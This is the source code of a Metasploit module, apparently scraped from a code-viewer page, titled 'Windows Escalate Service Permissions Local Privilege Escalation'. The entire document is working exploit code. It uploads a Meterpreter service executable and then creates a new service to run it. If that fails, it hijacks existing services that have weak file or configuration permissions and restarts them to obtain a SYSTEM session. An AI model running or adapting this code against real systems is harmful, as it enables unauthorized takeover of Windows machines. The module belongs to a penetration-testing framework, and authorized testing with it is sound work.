1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/windows/services' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, 'Name'=> 'Windows Escalate Service Permissions Local Privilege Escalation', 'Description' => %q{ This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure file or configuration permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload. This will result in a new session when this succeeds. If the module is able to modify the service but does not have permission to start and stop the affected service, the attacker must wait for the system to restart before a session will be created. }, 'License' => MSF_LICENSE, 'Author'=> [ 'scriptjunkie' ], 'Arch'=> [ ARCH_X86 ], 'Platform'=> [ 'windows' ], 'SessionTypes'=> [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options([ OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ]) ]) end def exploit # randomize the filename filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # randomize the exe name tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" raw = payload.encoded exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") begin # # Upload the payload to the filesystem # tempexe = tmpdir + "\\" + tempexe_name fd = session.fs.file.new(tempexe, "wb") fd.write(exe) fd.close rescue ::Exception => e print_error("Error uploading file #{filename}: #{e.class} #{e}") return end #attempt to make new service #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config print_status("Trying to add a new service...") adv = session.railgun.advapi32 manag = adv.OpenSCManagerA(nil,nil,0x10013) if(manag["return"] != 0) # SC_MANAGER_CREATE_SERVICE = 0x0002 # SERVICE_START=0x0010SERVICE_WIN32_OWN_PROCESS= 0X00000010 # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) if(newservice["return"] != 0) print_status("Created service... #{newservice["return"]}") ret = adv.StartServiceA(newservice["return"], 0, nil) print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") adv.DeleteService(newservice["return"]) adv.CloseServiceHandle(newservice["return"]) if datastore['AGGRESSIVE'] != true adv.CloseServiceHandle(manag["return"]) return end else print_error("Uhoh. service creation failed, but we should have the permissions. :-(") end else print_status("No privs to create a service...") manag = adv.OpenSCManagerA(nil,nil,1) if(manag["return"] == 0) print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") end end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| begin srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s if srvtype != "16" continue end moved = false configed = false #default path, but there should be an ImagePath registry key source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") #get path to exe; parse out quotes and arguments sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s sourcemaybe = session.fs.file.expand_path(sourceorig) if( sourcemaybe[0] == '"' ) sourcemaybe = sourcemaybe.split('"')[1] else sourcemaybe = sourcemaybe.split(' ')[0] end begin session.fs.file.stat(sourcemaybe) #check if it really exists source = sourcemaybe rescue print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") end #try to exploit weak file permissions if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) session.railgun.kernel32.CopyFileA(tempexe, source, false) print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") moved = true end #try to exploit weak config permissions #open with SERVICE_CHANGE_CONFIG (0x0002) servhandleret = adv.OpenServiceA(manag["return"],serv,2) if(servhandleret["return"] != 0) #SERVICE_NO_CHANGE is0xFFFFFFFF if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") configed = true end adv.CloseServiceHandle(servhandleret["return"]) end if(moved != true && configed != true) print_status("No exploitable weak permissions found on #{serv}") continue end print_status("Restarting #{serv}") #open withSERVICE_START (0x0010) and SERVICE_STOP (0x0020) servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) if(servhandleret["return"] != 0) #SERVICE_CONTROL_STOP = 0x00000001 if(adv.ControlService(servhandleret["return"],1,56)) session.railgun.kernel32.Sleep(1000) adv.StartServiceA(servhandleret["return"],0,nil) print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") #Cleanup if moved == true session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) end if configed == true servhandleret = adv.OpenServiceA(manag["return"],serv,2) adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) adv.CloseServiceHandle(servhandleret["return"]) end else print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") end adv.CloseServiceHandle(servhandleret["return"]) if datastore['AGGRESSIVE'] != true return end else print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") end rescue end end end end |